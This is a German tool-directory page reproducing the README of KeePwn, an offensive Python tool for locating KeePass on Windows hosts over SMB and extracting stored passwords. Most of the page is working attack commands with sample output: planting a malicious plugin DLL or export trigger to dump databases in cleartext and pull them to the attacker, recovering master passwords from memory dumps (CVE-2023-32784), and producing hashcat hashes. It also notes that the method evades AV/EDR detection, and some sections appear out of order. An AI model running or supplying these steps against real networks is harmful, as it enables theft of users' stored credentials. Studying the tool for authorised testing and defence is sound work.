Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
KeePwn — Ein Python-Tool zur Automatisierung der KeePass-Erkennung und Geheimnisextraktion. | Kitploit
Tools/GitHubGitHub/orange-cyberdefense/keepwn
Passwort-CrackingExploitationPost-ExploitationRed Teaming
GitHuborange-cyberdefense/keepwn

KeePwn

Ein Python-Tool zur Automatisierung der KeePass-Erkennung und Geheimnisextraktion.

Repository anzeigen
52754vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Ein Python-Skript, das Red Teamern hilft, KeePass-Instanzen zu entdecken und Geheimnisse zu extrahieren.

Funktionen

  • KeePass-Erkennung
    • Nach KeePass-Installationsdateien über SMB C$ Freigabe suchen.
    • Mehrere Zielquellen akzeptieren (IP, CIDR, Hostname, Datei).
    • Nach KeePass-Metadaten suchen (Version, letzte Zugriffszeit).
    • Nach laufendem KeePass-Prozess über Impacket-basiertes RPC suchen.
    • Multithread-Implementierung zur Vermeidung von Engpass-Hosts.
    • Suchergebnisse als CSV exportieren.
    • KDBX-Datenbanken finden.
  • KeePass-Plugin-Missbrauch
    • KeePass-Plugins hinzufügen und entfernen (siehe KeeFarce Reborn) über SMB C$ Freigabe.
    • Klartext-Exporte auf dem entfernten Host abrufen.
  • KeePass-Trigger-Missbrauch
    • Trigger hinzufügen und entfernen (siehe: KeeThief aus der KeePass-Konfigurationsdatei über SMB C$ Freigabe.
    • Klartext-Exporte auf dem entfernten Host abrufen.
    • Trigger mit Kommandozeilenargumenten anpassen.
  • KeePass-Dump-Parsing
    • Speicher-Dumps analysieren, um Hauptpasswort-Kandidaten zu finden (CVE-2023-32784).
    • Speicher-Dumps analysieren, um den Verschlüsselungsschlüssel zu finden.
  • KeePass-Datenbank-Knacken
    • KDBX in John- und Hashcat-kompatible Formate konvertieren.
    • Unterstützung für KDBX 4.x Format hinzufügen.
  • Authentifizierung
    • LM/NT-Hash-Authentifizierung unterstützen.
    • Kerberos-Authentifizierung unterstützen.
  • Verschiedenes
    • Unit-Tests schreiben.
    • Das Projekt auf PyPI verfügbar machen.

Installation

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

Oder wenn du nicht installieren möchtest, sondern nur in einer virtualenv ausführen willst:

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

Verwendung

Erkennung

Das search-Modul von KeePwn wird verwendet, um Hosts zu identifizieren, die KeePass in Ihrer Zielumgebung ausführen:

root@kitploit:~
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

Es nutzt die in Active Directory integrierte C$ Freigabe, um nach KeePass-bezogenen Dateien an den Standardorten zu suchen, was Administratorrechte auf den Zielen erfordert.

Das Modul durchsucht zunächst die KeePass.config.xml-Konfigurationsdatei im %APPDATA%\KeePass-Ordner jedes Benutzers sowie KeePass.exe im Standardinstallationspfad (C:\Program Files\KeePass Password Safe 2). Wenn eine Konfigurationsdatei gefunden wird, KeePass aber nicht global installiert ist, sucht KeePwn nach portablen Installationen bis zu --max-depth Unterordnern.

Diese einfache Suchtechnik sollte ausreichen, um genau zu bestimmen, ob KeePass auf einer Workstation verwendet wird oder nicht. Zusätzlich verwendet die --get-process-Option die Impacket-RPC-Implementierung, um festzustellen, ob KeePass derzeit auf dem Ziel ausgeführt wird.

Verschiedene Komfortoptionen sind ebenfalls enthalten, mit denen Sie Suchergebnisse in eine CSV-Datei exportieren, nur Ziele anzeigen können, bei denen KeePass gefunden wurde, und die Anzahl der parallelen Threads anpassen können:

Plugin-Missbrauch

KeePass verfügt über ein Plugin-Framework, das missbraucht werden kann, um schädliche DLLs in den KeePass-Prozess zu laden, wodurch Angreifer mit Administratorrechten die Datenbank leicht exportieren können (siehe: KeeFarceRebornPlugin).

Das plugin-Modul von KeePwn ermöglicht Folgendes:

  • Derzeit installierte Plugins auflisten und den Plugin-Cache aufzählen

    root@kitploit:~
    $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
    
    [*] No path specified, searching in default locations..
    [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
    
  • Ihre schädlichen Plugins hinzufügen und entfernen

    root@kitploit:~
    $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
    
    [*] No path specified, searching in default locations..
    [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
    > y
    [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
    
  • %APPDATA% nach Exporten abfragen und diese automatisch vom entfernten Host in das lokale Dateisystem verschieben

Trigger-Missbrauch

Wie in @harmj0ys Blogbeitrag (und später CVE-2023-24055) beschrieben, kann das KeePass-Trigger-System missbraucht werden, um die Datenbank im Klartext zu exportieren.

Das trigger-Modul von KeePwn ermöglicht Folgendes:

  • Prüfen, ob ein schädlicher Trigger namens „export” derzeit in der KeePass-Konfiguration vorhanden ist

    root@kitploit:~
    $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] No trigger found in KeePass configuration
    

    Beachte, dass KeePwn dich daran hindert, Plugins zu missbrauchen, wenn die erkannte KeePass-Version nicht von dieser Technik betroffen ist.

  • Einen schädlichen Trigger namens „export” hinzufügen und entfernen, der beim nächsten Start von KeePass einen Klartext-Export der Datenbank in %APPDATA% durchführt

    root@kitploit:~
    ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
    
Analyse von Speicher-Dumps

Wie von @vdohney beschrieben, ist es möglich, das Hauptpasswort der Datenbank im Speicher abzurufen (CVE-2023-32784, betrifft Versionen vor KeePass 2.54).

Das parse_dump-Modul von KeePwn sucht in Dumps nach potenziellen Hauptpasswort-Kandidaten. Da die resultierenden Zeichenfolgen (designbedingt) unvollständig sind, kann das Modul auch verwendet werden, um das fehlende erste Zeichen gegen eine bestimmte KDBX-Datei zu bruteforcen.

root@kitploit:~
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx

[*] Searching for the master password in memory dump.. done!                                                                                                                                                                                                 
[*] Found 15 candidates:
     _@$$w0rd!!
     _Ï$$w0rd!!
     _§$$w0rd!!
     _ñ$$w0rd!!
     _D$$w0rd!!
     _$$w0rd!!
     _\$$w0rd!!
     _#$$w0rd!!
     _y$$w0rd!!
     _k$$w0rd!!
     _9$$w0rd!!
     _;$$w0rd!!
     _H$$w0rd!!
     _>$$w0rd!!
     _a$$w0rd!!

[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                                                                          
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!

Die Analyse der Speicher-Dumps nutzt @CMEPWs Python PoC. Danke, dass ich den Code wiederverwenden durfte :)

Knacken von KDBX-Datenbanken

Das keepass2john.py-Skript von @harmjoy wurde mit Hilfe von @0xSp3ctra nach KeePwn portiert.

KeePwn convert extrahiert einen knackbaren Hash (john- oder hashcat-Format) aus einer KeePass-Datenbank.

root@kitploit:~
KeePwn convert -d ./Database.kdbx 

[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17

Es kann mit weiteren Argumenten verwendet werden, um den erwarteten Hash-Typ sowie einen Ausgabedateipfad anzugeben:

root@kitploit:~
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 

[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)

KDBX 4.x wird noch nicht unterstützt, du kannst https://github.com/r3nt0n/keepass4brute verwenden. Falls du Lust auf einen PR hast, ist https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format eine gute Lektüre :)

Mitwirken

Pull-Requests sind willkommen (siehe: nicht abgehakte Funktionen + einige TODOs im Code).

Zögere nicht, ein Issue zu eröffnen oder mir auf Twitter eine DM zu schreiben, um Verbesserungen vorzuschlagen.

Tool herunterladen
root@kitploit:~
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv
root@kitploit:~
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  

[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml

Diese Aktionen werden über den Zugriff auf die SMB C$ Freigabe durchgeführt, was die Erkennung durch AV/EDR einschränkt, da keine Befehlsausführung erfolgt.

  • %APPDATA% nach Exporten abfragen und diese automatisch vom entfernten Host in das lokale Dateisystem verschieben

    root@kitploit:~
    $ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    
  • Wenn der Pfad der Konfigurationsdatei nicht der Standardort ist, können Sie einen mit dem --config-path-Argument angeben.